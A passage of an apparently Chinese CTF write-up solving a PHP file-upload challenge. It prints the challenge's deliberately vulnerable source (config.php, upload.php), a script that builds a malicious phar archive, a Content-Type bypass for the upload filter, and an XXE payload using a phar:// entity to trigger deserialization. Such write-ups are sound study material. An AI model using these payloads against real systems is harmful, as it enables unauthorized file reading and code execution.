    <link rel="stylesheet" type="text/css" href="./style.css">
    <link rel="stylesheet" type="text/css" href="./userpanel.css">

</head>

<body class="login" mycollectionplug="bind">
<div class="login_m">
    <div class="login_logo"><img src="http://120.79.186.183/jpg/677406.jpg" width="216" height="130"></div>
    <div class="login_boder">
            <div class="login_padding" id="login_model">
                    <div style="text-align:center; vertical-align:middel;">
                    	<h3>告诉我你想说的</h3>
                    </div>
<form action="./index.php" method="post" enctype="multipart/form-data" type="code" name="code" id="code" class="txt_input" onfocus="if (value =='******'){value =''}" onblur="if (value ==''){value='******'}">
<div style="text-align:center; vertical-align:middel;">
<textarea type="text" id='divcss5' name="data">

(3)读取config.php文件内容

//config.php
<?php
class File{
	public  $filetype;
	public  $filename;
    public function __wakeup(){
        echo "wake up ";
        var_dump(readfile("php://filter/read=convert.base64-encode/resource=flag.php"));
    }

    public function check($filetype,$filename){
    	$filename = $filename;
    	$filetype = $filetype;

    	if (($filetype!="image/jpg")&&(substr($filename, strrpos($filename, '.')+1))!= 'jpg') {
            echo "只允许上传jpg格式文件";
            exit();
        }

    }

    public function upload($filetemp){
    	    $target_file = getcwd()."/uploads/".md5($filetemp+$_SERVER['HTTP_REFERER']).".jpg";
	    $handle = fopen($filetemp, "r");
    $content = '';
    while(!feof($handle)){
        $content .= fread($handle, 8080);
    }
if (preg_match("/xml|#|SYSTEM|DOCTYPE|fliter|uploads|www/i",$content)){
	echo "Invalid file!!!!";
exit();
}
    fclose($handle);

            if (move_uploaded_file($filetemp, $target_file)) {
                echo "your file is here:".$target_file;
                }
            }

}

(4)读取upload.php文件内容

//upload.php
<!DOCTYPE html>
<html>
<head>
    <title>Ayrain</title>
</head>
<body>
<h3>上传一个文件,让我康康你这是什么乱七八糟的东西。</h3>
<form action="./upload.php" method="post" enctype="multipart/form-data" type="code" name="code" id="code" class="txt_input" onfocus="if (value =='******'){value =''}" onblur="if (value ==''){value='******'}">
    <input type="file" name="file" />
    <input type="submit" name="Check" />
</form>

</body>
</html>
<?php
error_reporting(0);
include("config.php");

        $filename = $_FILES["file"]["name"];
        $filetype = $_FILES["file"]["type"];
        $filetemp = $_FILES["file"]["tmp_name"];

        $file = new File();
        $file->check($filetype,$filename);
        $file->upload($filetemp);
?>

 2、通读源码发现获得flag的点在config.php的File类的wake_up构造方法里,利用上传点,上传可以触发wake_up的phar文件,结合之前的xxe,读取phar文件进行触发。

生成phar文件,把下面代码保存到自己的服务器下面,直接访问会报错,需要先将php.ini的phar.readonly选项改为Off,还有把前面的分号注释符去掉,重启服务器,然后访问,会发现在当前目录生成了一个phar.phar的文件

<?php 
	class File{ 
		public function __wakeup(){ 
			echo "wake up "; 
		} 
	} 
	$phar = new Phar("phar.phar"); 
	$phar->startBuffering(); 
	$phar->setStub("<?php __HALT_COMPILER(); ?>"); 
	$o = new File(); 
	$phar->setMetadata($o); 
	$phar->addFromString("test.txt", "test"); 
	$phar->stopBuffering(); 
?>

访问upload.php,上传生成的phar.phar文件,这里似乎只要将Content-Type改为image/jpg就行了,第二个条件似乎没有生效

xxe触发反序列化:

 

<?xml version = "1.0"?> 
<!DOCTYPE note [<!ENTITY hacker SYSTEM "phar://./uploads/你上传的文件名"> ]> 

<name>&hacker;</name>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值